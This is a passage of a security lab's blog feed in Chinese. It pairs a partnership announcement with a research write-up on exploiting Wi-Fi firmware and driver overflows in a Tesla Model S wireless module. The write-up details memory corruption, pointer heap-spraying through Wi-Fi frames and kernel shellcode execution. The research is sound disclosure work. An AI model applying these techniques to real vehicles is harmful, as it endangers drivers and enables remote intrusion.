    <category term="CarHacking" scheme="https://keenlab.tencent.com/zh/tags/CarHacking/"/>
    
  </entry>
  
  <entry>
    <title>科恩成为GENIVI联盟新成员，助力车载系统安全新篇章</title>
    <link href="https://keenlab.tencent.com/zh/2020/03/18/Tencent-Keen-Security-Lab-joins-GENIVI-Alliance/"/>
    <id>https://keenlab.tencent.com/zh/2020/03/18/Tencent-Keen-Security-Lab-joins-GENIVI-Alliance/</id>
    <published>2020-03-18T08:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.843Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/Tencent-Keen-Security-Lab-joins-GENIVI-Alliance/focus_pic.png"></p><p>腾讯安全科恩实验室正式加入致力于推广开源车载信息娱乐系统(IVI)软件的非营利汽车联盟GENIVI。作为联盟新成员，科恩将在后续的合作中，输出在智能网联汽车领域安全能力，推动GENIVI联盟在智能网联汽车设计标准、开源软件、系统平台等方面的安全能力建设。</p><span id="more"></span><p><img src="/zh/img/Tencent-Keen-Security-Lab-joins-GENIVI-Alliance/keenlogo_genivi.png"></p><h2 id="关于GENIVI"><a href="#关于GENIVI" class="headerlink" title="关于GENIVI"></a>关于GENIVI</h2><p>GENIVI作为一个非营利性的汽车联盟[1]，致力于发展和支持车载信息娱乐系统（IVI）的开源开发平台。自2009年成立以来，该协会拥有超过100名成员，覆盖汽车制造商、一级供应商、半导体供应商、软硬件开发商和服务提供商。基于行业趋势以及开发解决方案的一致需求，GENIVI联盟成员合作制定可采用的标准和开放源代码。近年来，GENIVI进一步扩展联盟核心能力，积极助力汽车制造商集成集中式和互联驾驶舱中的多个操作系统。<br><img src="/zh/img/Tencent-Keen-Security-Lab-joins-GENIVI-Alliance/genivi_logo.png"></p><h2 id="科恩实力"><a href="#科恩实力" class="headerlink" title="科恩实力"></a>科恩实力</h2><p>腾讯安全科恩实验室作为腾讯CSIG旗下一支国际一流的信息安全团队，在桌面端安全、移动终端安全等研究领域有十多年的积累，技术实力和研究成果达到了国际领先水平。近年来，科恩在智能网联汽车信息安全领域屡次取得突破性成果[2,3,4]。通过持续深入的独立安全研究项目以及与众多国内外汽车厂商的安全合作，科恩实验室在网联汽车信息安全渗透测试，安全解决方案，最佳实践等方面积累了丰富的经验和技术沉淀。</p><p><img src="/zh/img/Tencent-Keen-Security-Lab-joins-GENIVI-Alliance/keen_honor.jpg"></p><h2 id="未来可期"><a href="#未来可期" class="headerlink" title="未来可期"></a>未来可期</h2><p>腾讯安全科恩实验室作为国内首个加入GENIVI联盟的安全团队，也将在后续的合作中，利用科恩在车联安全方向的能力积累为GENIVI联盟的车联安全建设提供能力输出。科恩始终开放自身核心技术能力，并根据产业实际痛点和研究推出智能网联汽车信息安全产品与行业解决方案。护航各行业数字化变革，守护全网用户的信息安全是腾讯科恩实验室的使命。</p><h2 id="参考文献"><a href="#参考文献" class="headerlink" title="参考文献"></a>参考文献</h2><p>[1] <a href="https://www.genivi.org/about-genivi/">https://www.genivi.org/about-genivi/</a><br>[2] <a href="https://keenlab.tencent.com/en/2016/09/19/Keen-Security-Lab-of-Tencent-Car-Hacking-Research-Remote-Attack-to-Tesla-Cars/">https://keenlab.tencent.com/en/2016/09/19/Keen-Security-Lab-of-Tencent-Car-Hacking-Research-Remote-Attack-to-Tesla-Cars/</a><br>[3] <a href="https://keenlab.tencent.com/en/2017/07/27/New-Car-Hacking-Research-2017-Remote-Attack-Tesla-Motors-Again/">https://keenlab.tencent.com/en/2017/07/27/New-Car-Hacking-Research-2017-Remote-Attack-Tesla-Motors-Again/</a><br>[4] <a href="https://keenlab.tencent.com/zh/2018/05/22/New-CarHacking-Research-by-KeenLab-Experimental-Security-Assessment-of-BMW-Cars/">https://keenlab.tencent.com/zh/2018/05/22/New-CarHacking-Research-by-KeenLab-Experimental-Security-Assessment-of-BMW-Cars/</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/Tencent-Keen-Security-Lab-joins-GENIVI-Alliance/focus_pic.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;腾讯安全科恩实验室正式加入致力于推广开源车载信息娱乐系统(IVI)软件的非营利汽车联盟GENIVI。作为联盟新成员，科恩将在后续的合作中，输出在智能网联汽车领域安全能力，推动GENIVI联盟在智能网联汽车设计标准、开源软件、系统平台等方面的安全能力建设。&lt;/p&gt;</summary>
    
    
    
    
    <category term="CarHacking" scheme="https://keenlab.tencent.com/zh/tags/CarHacking/"/>
    
  </entry>
  
  <entry>
    <title>在Tesla Model S上实现Wi-Fi协议栈漏洞的利用</title>
    <link href="https://keenlab.tencent.com/zh/2020/01/02/exploiting-wifi-stack-on-tesla-model-s/"/>
    <id>https://keenlab.tencent.com/zh/2020/01/02/exploiting-wifi-stack-on-tesla-model-s/</id>
    <published>2020-01-02T04:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.843Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/head.png"></p><p>在过去的两年里，腾讯科恩实验室对特斯拉汽车的安全性进行了深入的研究并在Black Hat 2017与Black Hat 2018安全会议上两次公开分享了我们的研究成果。我们的研究成果覆盖了车载系统的多个组件。我们展示了如何攻入到特斯拉汽车的CID、IC、网关以及自动驾驶模块。这一过程利用了内核、浏览器、MCU固件、UDS协议及OTA更新过程中的多个漏洞。值得注意的是，最近我们在自动驾驶模块上做了一些有趣的工作。我们分析了自动雨刷和车道识别功能的具体实现细节并且在真实的世界中对其中的缺陷进行了攻击尝试。</p><p>为了更深入的了解特斯拉车载系统的安全性，我们研究了无线功能模块（Model S上的Parrot模块）并在其中找到了两个漏洞。一个存在于无线芯片固件当中，另一个存在于无线芯片驱动当中。通过组合这两个漏洞，攻击者可以在Parrot模块的Linux系统当中执行任意命令。</p><span id="more"></span><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>本文会揭示这两个漏洞的细节并介绍漏洞的利用过程来证明这两个漏洞是可以被攻击者用来通过无线协议远程攻入到特斯拉车载系统当中的。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image1.png"></p><h2 id="Parrot-模块"><a href="#Parrot-模块" class="headerlink" title="Parrot 模块"></a>Parrot 模块</h2><p>Tesla Model S上的Parrot模块是一个第三方模块，型号是FC6050W，它集成了无线及蓝牙功能。Parrot通过USB协议与CID相连。Parrot运行着Linux系统并使用了USB Ethernet gadget，因此Parrot与CID在USB协议基础之上实现了以太网连接。当Tesla Model S连接到无线网络时，实际上Parrot模块连接到该无线网络中。这时，网络流量被Parrot从CID路由到外部网络。</p><p>从一份公开的资料[1]中，我们找到了Parrot模块的硬件组成。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image2.png"></p><p>Parrot模块的引脚定义也在这份datasheet中。Linux系统的shell可以通过Debug UART引脚得到。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image3.png"></p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image4.png"></p><p>其中的reset引脚连到到CID的GPIO上，因此CID有能力通过下列命令重置整个Parrot模块</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> 1 \&gt; /sys/class/gpio/gpio171/value</span><br><span class="line"><span class="built_in">sleep</span> 1</span><br><span class="line"><span class="built_in">echo</span> 0 \&gt; /sys/class/gpio/gpio171/value</span><br></pre></td></tr></table></figure><h2 id="Marvell-无线芯片"><a href="#Marvell-无线芯片" class="headerlink" title="Marvell 无线芯片"></a>Marvell 无线芯片</h2><p>Marvell 88W8688是一款低成本、低功耗、高度集成的支持IEEE802.11a&#x2F;g&#x2F;bMAC&#x2F;基带&#x2F;射频集无线和蓝牙于一体的基带&#x2F;射频系统级芯片[2]。</p><p>Marvell官方网站[3]提供了一份该芯片的设计框图。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image5.png"></p><p>Marvell 88W8688包含了一个嵌入式高性能Marvell Ferocean ARM9处理器。通过修改固件，我们获得了Main ID寄存器中的数值0x11101556，据此推断88W8688使用的处理器型号可能是Feroceon 88FR101 rev 1。在Parrot模块上，Marvell 88w8688芯片通过SDIO接口与主机系统相连。</p><p>Marvell 88W8688的内存区域如下：</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/table1.png"></p><h2 id="芯片固件"><a href="#芯片固件" class="headerlink" title="芯片固件"></a>芯片固件</h2><p>固件的下载过程包含两个阶段。首先是辅助固件”sd8688_helper.bin”的下载，然后是主固件”sd8688.bin”的下载。辅助固件负责下载主固件及验证主固件中每个数据块是否正确。主固件中包含了很多的数据块，每个块的结构定义如下。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">fw_chunk</span> &#123;</span>   </span><br><span class="line">  <span class="type">int</span> chunk_type;</span><br><span class="line">  <span class="type">int</span> addr;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> length;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> crc32;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">char</span> [<span class="number">1</span>];</span><br><span class="line">&#125; __packed;</span><br></pre></td></tr></table></figure><p>88w8688固件的运行基于ThreadX实时操作系统，该实时操作系统多用于嵌入式设备。ThreadX的代码存在于ROM内存区域，因此固件”sd8688.bin”实际上作为ThreadX的应用运行。</p><p>在特斯拉上，固件”sd8688.bin”的版本ID是”sd8688-B1, RF868X, FP44, 13.44.1.p49”,本文的所有研究均基于此版本。</p><p>在逆向识别出所有的ThreadX API之后，各个任务的信息便可以得到。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/table2.png"></p><p>同时，内存池的相关信息也可以得到。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/table3.png"></p><h2 id="日志及调试"><a href="#日志及调试" class="headerlink" title="日志及调试"></a>日志及调试</h2><p>芯片固件没有实现Data Abort、Prefetch Abort、Undefine和SWI等CPU异常向量的处理过程。这意味着，固件崩溃后处理器会停止工作。我们不知道固件在哪里因何崩溃。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image6.png"></p><p>所以我们修改了固件，并自己实现了这些异常处理过程。这些处理过程会记录固件崩溃时的一些寄存器信息，包括通用寄存器，系统模式及中断模式下的状态寄存器和链接寄存器。通过这种方式，我们可以知道崩溃时系统模式或中断模式下的一些寄存器信息。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image7.png"></p><p>我们将这些寄存器信息写到末使用的内存区域，例如0x52100~0x5FFFF。这样，这些信息在芯片重置后仍然可以被读取。</p><p>在实现了undefine异常处理过程及修改一些指令为undefine指令后，我们可以在固件运行时获取或设置寄存器的内容。用这种方式，我们可以调试固件。</p><p>将新的固件下载到芯片中运行，可在内核驱动中发送命令HostCmd_CMD_SOFT_RESET到芯片。随后芯片会重置，新的固件会下载。</p><h2 id="固件中的漏洞"><a href="#固件中的漏洞" class="headerlink" title="固件中的漏洞"></a>固件中的漏洞</h2><p>88w8688芯片支持802.11e WMM (Wi-Fi Multimedia)协议。在这个协议中，STA会通过Action帧来发送ADDTS request给其他设备。请求中包含有TSPEC信息。然后其他设备同样通过Action帧返回ADDTS response。下面是该Action帧的具体格式。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image8.png"></p><p>ADDTS的整个过程如下：当系统想要发送ADDTS请求时，内核驱动会发送HostCmd_CMD_WMM_ADDTS_REQ命令给芯片，然后芯片将ADDTS请求通过无线协议发送出去。当芯片收到ADDTS response后，将该回复信息去掉Action帧头部复制到HostCmd_CMD_WMM_ADDTS_REQ结构体，作为ADDTS_REQ命令的结果在HostCmd_DS_COMMAND结构体中返回给内核驱动。内核驱动来实际处理ADDTS response。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">HostCmd_DS_COMMAND</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    u16 Command;</span><br><span class="line">    u16 Size;</span><br><span class="line">    u16 SeqNum;</span><br><span class="line">    u16 Result;</span><br><span class="line">    <span class="class"><span class="keyword">union</span></span></span><br><span class="line"><span class="class">    &#123;</span></span><br><span class="line">        HostCmd_DS_GET_HW_SPEC hwspec;</span><br><span class="line">        HostCmd_CMD_WMM_ADDTS_REQ;</span><br><span class="line">        <span class="comment">//…….</span></span><br><span class="line">     &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>漏洞存在于将ADDTS response复制到HostCmd_CMD_WMM_ADDTS_REQ结构体的过程中。函数wlan_handle_WMM_ADDTS_response在复制时，需要复制的长度为Action帧的长度减去4字节Action帧头部。如果Action帧只有头部且长度为3。那么复制时的长度会变为0xffffffff。这样，内存将会被完全破坏，导致稳定的崩溃。</p><h2 id="驱动中的漏洞"><a href="#驱动中的漏洞" class="headerlink" title="驱动中的漏洞"></a>驱动中的漏洞</h2><p>在芯片与驱动之间，有三种数据包类型通过SDIO接口传递，MV_TYPE_DATA, MV_TYPE_CMD和 MV_TYPE_EVENT。其定义可在源码中找到。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image9.png"></p><p>命令处理的过程大致如下。驱动接收到用户态程序如ck5050、wpa_supplicant发来的指令，在函数wlan_prepare_cmd()中初始化HostCmd_DS_COMMAND结构体，该函数的最后一个参数pdata_buf指向与命令有关的结构，函数wlan_process_cmdresp()负责处理芯片返回的结果并将相关信息复制到pdata_buf指向的结构中。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span></span><br><span class="line"><span class="title function_">wlan_prepare_cmd</span><span class="params">(wlan_private * priv,</span></span><br><span class="line"><span class="params">                 u16 cmd_no,</span></span><br><span class="line"><span class="params">                 u16 cmd_action,</span></span><br><span class="line"><span class="params">                 u16 wait_option, WLAN_OID cmd_oid, <span class="type">void</span> *pdata_buf)</span>;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>漏洞存在于函数wlan_process_cmdresp()处理HostCmd_CMD_GET_MEM的过程中。函数wlan_process_cmdresp()没有检查HostCmd_DS_COMMAND结构体中的成员size的大小是否合法。因此在把HostCmd_DS_COMMAND结构中的数据复制到其他位置时发生了内存溢出。</p><h2 id="芯片内代码执行"><a href="#芯片内代码执行" class="headerlink" title="芯片内代码执行"></a>芯片内代码执行</h2><p>很显然，固件中的漏洞是一个堆溢出。为了利用这个漏洞实现芯片内代码执行，我们需要知道memcpy()函数是怎样破坏内存的，以及芯片是怎样崩溃的，在哪里崩溃的。</p><p>为了触发这个漏洞，action帧头部的长度应该小于4。同时我们需要在Action帧中提供正确的dialog token，这意味着memcpy()接收的长度只能是0xffffffff。源地址是固定的，因为该内存块是从内存池pool_start_id_rmlmebuf分配的，并且这个内存池只有一个内存块。目的地址是从内存池pool_start_id_tx分配的，所以目的地址可能是四个地址中的某一个。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/table4.png"></p><p>源地址及目的地址均位于RAM内存区域0xC0000000~0xC003FFFF，但是内存地址0xC0000000到0xCFFFFFFF都是合法的。结果就是，读或写下面这些内存区域会得到完全一样的效果。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/table5.png"></p><p>因为内存区域0xC0000000到0xCFFFFFFF都是可读可写的，所以复制过程几乎不会碰到内存的边界。在复制了0x40000个字节后，整个内存可被看作是整体移位了，其中有些数据被覆盖并且丢失了。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image10.png"></p><p>88w8688中的CPU是单核的，所以复制过程中芯片不会崩溃直到有中断产生。因为这时内存已被破坏，在大多数情况下，芯片崩溃在中断过程中。</p><p>中断控制器给中断系统提供了一个接口。当一个中断产生时，固件可从寄存器中获取中断事件类型并调用相应的中断处理过程。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/table6.png"></p><p>中断源有很多，所以漏洞触发后，芯片可能崩溃在多个位置。</p><p>一个可能性是中断0x15的处理过程中，函数0x26580被调用。0xC000CC08是一个链表指针，这个指针在漏洞触发后可能会被篡改。然而，对这个链表的操作很难给出获得代码执行的机会。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image11.png"></p><p>另一个崩溃位置在时钟中断的处理过程中。处理过程有时会进行线程的切换，这时其他任务会被唤醒，那么复制过程就会被暂停。然后芯片可能崩溃在其他任务恢复运行之后。在这种情况下，固件通常崩溃在函数0x4D75C中。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image12.png"></p><p>这个函数会读取一个指针0xC000D7DC，它指向结构TX_SEMAPHORE。触发漏洞后，我们可以覆盖这个指针，使其指向一个伪造的TX_SEMAPHORE结构。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">TX_SEMAPHORE_STRUCT</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    ULONG       tx_semaphore_id;</span><br><span class="line">    CHAR_PTR    tx_semaphore_name;</span><br><span class="line">    ULONG       tx_semaphore_count;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">TX_THREAD_STRUCT</span>  *<span class="title">tx_semaphore_suspension_list</span>;</span></span><br><span class="line">    ULONG                    tx_semaphore_suspended_count;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">TX_SEMAPHORE_STRUCT</span> *<span class="title">tx_semaphore_created_next</span>;</span>  </span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">TX_SEMAPHORE_STRUCT</span> *<span class="title">tx_semaphore_created_previous</span>;</span></span><br><span class="line">&#125; TX_SEMAPHORE;</span><br></pre></td></tr></table></figure><p>如果伪造的TX_SEMAPHORE结构中的tx_semaphore_suspension_lis指针刚好指向伪造的TX_THREAD_STRUCT结构。那么当函数_tx_semaphore_put()更新TX_THREAD_STRUCT结构中的链表的时候，我们可以得到一次任意地址写的机会。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image13.png"></p><p>我们可以直接将”BL os_semaphore_put”指令的下一条指令改成跳转指令来实现任意代码执行，因为ITCM内存区域是RWX的。困难在于我们需要同时在内存中堆喷两种结构TX_SEMAPHORE和TX_THREAD_STRUCT，并且还要确保指针tx_semaphore_suspension_list指向TX_THREAD_STRUCT结构。这些条件可以被满足，但是利用成功率会非常低。</p><p>我们主要关注第三个崩溃位置，在MCU中断的处理过程中。指向struct_interface结构的指针g_interface_sdio会被覆盖。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">struct_interface</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  <span class="type">int</span> field_0;</span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">struct_interface</span> *<span class="title">next</span>;</span></span><br><span class="line">  <span class="type">char</span> *name_ptr;</span><br><span class="line">  <span class="type">int</span> sdio_idx;</span><br><span class="line">  <span class="type">int</span> fun_enable;</span><br><span class="line">  <span class="type">int</span> funE;</span><br><span class="line">  <span class="type">int</span> funF;</span><br><span class="line">  <span class="type">int</span> funD;</span><br><span class="line">  <span class="type">int</span> funA;</span><br><span class="line">  <span class="type">int</span> funB; <span class="comment">// 0x24</span></span><br><span class="line">  <span class="type">int</span> funG;</span><br><span class="line">  <span class="type">int</span> field_2C;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>结构中函数指针funB会被使用。如果g_interface_sdio被篡改，那么就会直接实现代码执行。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image14.png"></p><p>这是当函数interface_call_funB()中的指令”BX R3”在地址0x3CD4E执行时的一份寄存器日志信息。此时，g_interface_sdio被覆盖成了0xabcd1211。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">LOG_BP_M0_CPSR      : 0xa000009b</span><br><span class="line">LOG_BP_M0_SP        : 0x5fec8</span><br><span class="line">LOG_BP_M0_LR        : 0x3cd50</span><br><span class="line">LOG_BP_M0_SPSP      : 0xa00000b2</span><br><span class="line">LOG_BP_M1_CPSR      : 0xa0000092</span><br><span class="line">LOG_BP_M1_SP        : 0x5536c</span><br><span class="line">LOG_BP_M1_LR        : 0x4e3d5</span><br><span class="line">LOG_BP_M1_SPSP      : 0xa0000013</span><br><span class="line">LOG_BP_M2_CPSR      : 0</span><br><span class="line">LOG_BP_M2_SP        : 0x58cb8</span><br><span class="line">LOG_BP_M2_LR        : 0x40082e8</span><br><span class="line">LOG_BP_M2_SPSP      : 0</span><br><span class="line">LOG_BP_R1           : 0x1c</span><br><span class="line">LOG_BP_R2           : 0</span><br><span class="line">LOG_BP_R3           : 0xefdeadbe</span><br><span class="line">LOG_BP_R4           : 0x40c0800</span><br><span class="line">LOG_BP_R5           : 0</span><br><span class="line">LOG_BP_R6           : 0x8000a500</span><br><span class="line">LOG_BP_R7           : 0x8000a540</span><br><span class="line">LOG_BP_R8           : 0x140</span><br><span class="line">LOG_BP_R9           : 0x58cb0</span><br><span class="line">LOG_BP_R10          : 0x40082e8</span><br><span class="line">LOG_BP_FP           : 0</span><br><span class="line">LOG_BP_IP           : 0x8c223fa3</span><br><span class="line">LOG_BP_R0           : 0xabcd1211</span><br></pre></td></tr></table></figure><p>函数interface_call_funB()在地址0x4E3D0处被MCU中断的处理过程使用。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image15.png"></p><p>当复制的源地址到达0xC0040000时，整个内存可被看作是做了一次偏移。当复制的源地址到达0xC0080000时，整个内存偏移了两次。每次偏移的距离如下。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0xC0016478-0xC000DC9B=0x87DD</span><br><span class="line">0xC0016478-0xC000E49B=0x7FDD</span><br><span class="line">0xC0016478-0xC000EC9B=0x77DD</span><br><span class="line">0xC0016478-0xC000F49B=0x6FDD</span><br></pre></td></tr></table></figure><p>在多数情况下，漏洞触发后再产生中断时，这样的内存偏移会发生3至5次。所以指针g_interface_sdio会被来自下列地址的数据所覆盖。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">0xC000B818+0x87DD*1=0xC0013FF5</span><br><span class="line">0xC000B818+0x87DD*2=0xC001C7D2</span><br><span class="line">0xC000B818+0x87DD*3=0xC0024FAF</span><br><span class="line">0xC000B818+0x87DD*4=0xC002D78C</span><br><span class="line">…</span><br><span class="line">0xC000B818+0x7FDD*1=0xC00137F5</span><br><span class="line">0xC000B818+0x7FDD*2=0xC001B7D2</span><br><span class="line">0xC000B818+0x7FDD*3=0xC00237AF</span><br><span class="line">0xC000B818+0x7FDD*4=0xC004B700</span><br><span class="line">…</span><br><span class="line">0xC000B818+0x77DD*1=0xC0012FF5</span><br><span class="line">0xC000B818+0x77DD*2=0xC001A7D2</span><br><span class="line">0xC000B818+0x77DD*3=0xC0021FAF</span><br><span class="line">0xC000B818+0x77DD*4=0xC002978C</span><br><span class="line">…</span><br><span class="line">0xC000B818+0x6FDD*1=0xC00127F5</span><br><span class="line">0xC000B818+0x6FDD*2=0xC00197D2</span><br><span class="line">0xC000B818+0x6FDD*3=0xC00207AF</span><br><span class="line">0xC000B818+0x6FDD*4=0xC002778C</span><br><span class="line">…</span><br></pre></td></tr></table></figure><p>地址0xC0024FAF、 0xC00237AF和0xC0021FAF刚好位于一个巨大的DMA buffer 0xC0021F90~0xC0025790之中。这个DMA buffer用于存储无线芯片接收到的802.11数据帧。所以这个DMA buffer可以用来堆喷伪造的指针。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image16.png"></p><p>为了堆喷伪造的指针，我们可以发送许多正常的802.11数据帧给芯片，其中填满了伪造的指针。DMA buffer非常大，因此shellcode也可以直接放在数据帧中。为了提高利用的成功率，我们用了Egg Hunter在内存中查找真正的shellcode。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image17.png"></p><p>如果g_interface_sdio被成功的覆盖。Shellcode或egg hunter会非常的接近0xC000B818。我们所使用的伪造指针是0x41954，因为在地址0x41954+0x24处有一个指针0xC000B991。这样，我们可以劫持$PC到0xC000B991。同时，指针0x41954可被作为正常的指令执行。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">54 19 ADDS            R4, R2, R5</span><br><span class="line">04 00 MOVS            R4, R0</span><br></pre></td></tr></table></figure><p>用这种方法有25%的成功率获得代码执行。</p><h2 id="攻击主机系统"><a href="#攻击主机系统" class="headerlink" title="攻击主机系统"></a>攻击主机系统</h2><p>内核驱动中的漏洞可通过由芯片发送命令数据包给主机系统来触发。命令HostCmd_CMD_GET_MEM通常由函数wlan_get_firmware_mem()发起。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image18.png"></p><p>这种情况下，pdata_buf指向的buffer由kmalloc()分配，所以这是一个内核堆溢出。在真实环境中函数wlan_get_firmware_mem()不会被用到，并且堆溢出的利用较复杂。</p><p>然而，一个被攻陷的芯片在返回某个命令的结果时可以更改命令ID。因此漏洞可以在许多命令的处理过程中被触发。这时，根据pdata_buf指向的位置，漏洞即可以是堆溢出也可以是栈溢出。我们找到了函数wlan_enable_11d()，它把局部变量enable的地址作为pdata_buf。因此我们可以触发一个栈溢出。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image19.png"></p><p>函数wlan_enable_11d()被wlan_11h_process_join()调用。显然HostCmd_CMD_802_11_SNMP_MIB会在与AP的连接过程中被使用。固件中的漏洞只能在Parrot已经加入AP后使用。为了触发wlan_enable_11d()中的栈溢出，芯片需要欺骗内核驱动芯片已经断开与AP的连接。接着，驱动会发起重连，在这个过程中HostCmd_CMD_802_11_SNMP_MIB会发送给芯片。于是，为了触发重连过程，芯片需要发送EVENT_DISASSOCIATED事件给驱动。</p><p>当在芯片中触发漏洞并获得代码执行之后芯片不能再正常工作。所以我们的shellcode需要自己处理重连过程中的一系列命令并返回相应的结果。在命令HostCmd_CMD_802_11_SNMP_MIB来到之前，唯一一个我们要构造返回结果的命令是HostCmd_CMD_802_11_SCAN。下面是断开连接到触发内核漏洞的整个过程。</p><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image20.png"></p><p>SDIO接口上事件和命令数据包的发送可直接通过操作寄存器SDIO_CardStatus和SDIO_SQReadBaseAddress0来完成。SDIO接口上获得内核发来的数据可借助SDIO_SQWriteBaseAddress0寄存器。</p><h2 id="Linux系统中命令执行"><a href="#Linux系统中命令执行" class="headerlink" title="Linux系统中命令执行"></a>Linux系统中命令执行</h2><p>Parrot的Linux内核2.6.36不支持NX，所以可以直接在栈上执行shellcode。同时结构HostCmd_DS_COMMAND中的size是u16类型，所以shellcode可以足够大来做许多事情。</p><p>在触发栈溢出并控制$PC之后，$R7刚好指向内核栈，所以可以很方便的执行shellcode。</p><p>在shellcode中的函数run_linux_cmd调用了Usermode Helper API来执行Linux命令。</p><h2 id="远程获取shell"><a href="#远程获取shell" class="headerlink" 